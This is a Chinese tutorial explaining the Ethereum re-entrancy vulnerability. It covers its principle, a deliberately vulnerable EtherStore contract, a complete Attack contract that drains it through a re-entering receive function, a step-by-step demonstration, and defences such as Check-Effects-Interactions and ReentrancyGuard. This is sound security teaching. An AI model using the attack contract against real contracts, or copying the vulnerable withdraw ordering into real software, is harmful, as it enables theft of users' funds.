Solidity 智能合约安全漏洞——普通重入攻击

普通重入攻击

重入攻击（Re-Entrancy） 一直是以太坊智能合约中最危险的漏洞之一，导致了许多大规模的资金被盗事件。比如 2016 年发生在 The DAO 项目中的 Re-Entrancy 漏洞攻击，造成价值当时 6000 万美元的以太币被盗，直接导致以太坊主网硬分叉。

那么，什么是 Re-Entrancy 漏洞？它为何如此危险，如何防范，让我们一一深入解析。

Re-Entrancy 漏洞原理

Re-Entrancy 漏洞本质上是一个状态同步问题。当智能合约调用外部函数时，执行流会转移到被调用的合约。如果调用合约未能正确同步状态，就可能在转移执行流时被再次调用，从而重复执行相同的代码逻辑。

具体来说,攻击往往分两步:

1.被攻击的合约调用了攻击合约的外部函数，并转移了执行流。

2.在攻击合约函数中，利用某些技巧再次调用被攻击合约的漏洞函数。

由于 EVM 是单线程的，重新进入漏洞函数时，合约状态并未被正确更新，就像第一次调用一样。这样攻击者就能够多次重复执行一些代码逻辑，从而实现非预期的行为。典型的攻击模式是多次重复提取资金。

Re-Entrancy漏洞合约

以一个修改过的 WETH 合约为例:

contract EtherStore {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 bal = balances[msg.sender];
        require(bal > 0);

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // 用于检查此合约的余额
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

●deposit 函数中，用户可以存入 ETH，得到的 WETH 记录在 balances 状态变量中。

●withdraw 函数中，用户可以提取 ETH，通过 call 低级调用转账给用户，此时执行流转移到用户合约。如果用户合约是一个恶意合约，它可以在默认的 receive 函数中再次回调 withdraw。由于余额未被更新，require 语句会通过检查，攻击合约就能多次重复提取 ETH。

攻击者可以部署一个恶意合约 Attack:

contract Attack {
    EtherStore public etherStore;
    uint256 public constant AMOUNT = 1 ether;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // receive is called when EtherStore sends Ether to this contract.
    receive() external payable {
        if (address(etherStore).balance >= AMOUNT) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= AMOUNT);
        etherStore.deposit{value: AMOUNT}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

●attack 函数中攻击者先转入一定数量的 ETH，调用 etherStore.deposit 函数转移到目标合约 EtherStore 中，接下来调用 etherStore.withdraw 函数提取 ETH。这看似是一个常规的操作，但问题出现在下一个函数。

●receive 是合约接收 ETH 时默认执行的函数，它由 payable 关键字修饰，表明它可以接收发送来的 ETH（也可以使用 fallback 函数来实现同样的效果）。在函数内部，当目标合约中的余额满足条件（大于 1 ETH）时，会再次调用 withdraw 函数，即发起重入，由于目标合约中用户的余额是在最后一步才进行更新，因此 require(bal > 0); 条件依旧满足，也就可以继续把目标合约中的 ETH 转移走😨😨😨

Re-Entrancy 攻击演示

1.账户 0x5B3…dC4 部署 EtherStore 合约，合约地址为 0xd91…138

2.账户 Alice(0xAb8…cb2) 和账户 Bob(0x4B2…2db) 分别往目标合约中存入 1 ETH，此时合约锁定总资产为 2 ETH。

3.攻击者Eve(0x787…baB)部署 Attack 合约，在构造函数中填入目标合约的地址执行部署，生成的合约地址为 0x99C…96d。

4.攻击者Eve(0x787…baB) 支付 1 ETH 调用 attack 函数发起重入攻击，此时目标合约 EtherStore 中的资金会被全部转移到 Attack 合约中。

Attack 合约中余额为 3 ETH，而 EtherStore 合约中余额为 0，虽然 账户 Alice(0xAb8…cb2) 的余额显示为 1 ETH，但实际的资产已经被转移走了，只是一张空头支票而已。

防御措施

最直接有效的防御手段,就是遵循 Check-Effects-Interactions(CEI) 模式:

●首先——进行所有检查。

●然后——进行更改，例如更新余额。

●最后——调用另一个合约。

CEI 模式下无论执行流如何转移，余额都已被正确扣除，重入攻击将无法重复执行逻辑，因此推荐基于该方案构建合约逻辑：首先进行所有检查，然后更新余额并进行更改，然后才调用另一个合约。

function withdraw() public {
		// 1.check
    uint256 bal = balances[msg.sender];
    require(bal > 0);

		// 2.effects
    balances[msg.sender] = 0;

		// 3.interactions
    (bool sent,) = msg.sender.call{value: bal}("");
    require(sent, "Failed to send Ether");
}

另一种防御是使用 ReentrancyGuard，OpenZeppelin 提供了 Guards 代码:

contract ReentrancyGuard {
    bool internal locked;

    modifier nonReentrant() {
        require(!locked, "No reentrancy");
        locked = true;
        _;
        locked = false;
    }
}

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract EtherStore is ReentrancyGuard {
    
    function withdraw() public nonReentrant {
        uint256 bal = balances[msg.sender];
        require(bal > 0);

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }
    
    // ...
}

它的作用就是在函数执行前先加一把锁，函数结束后释放锁，在发生重入时由于重新进入了该函数，此时锁还未释放，因此重入失败。

需要注意的是，ReentrancyGuard 在防范跨函数跨合约重入等复杂情况下有一定局限性，另外由于引入了额外的逻辑，gas 费也会有所增加，所以 Check-Effects-Interactions 依然是根本。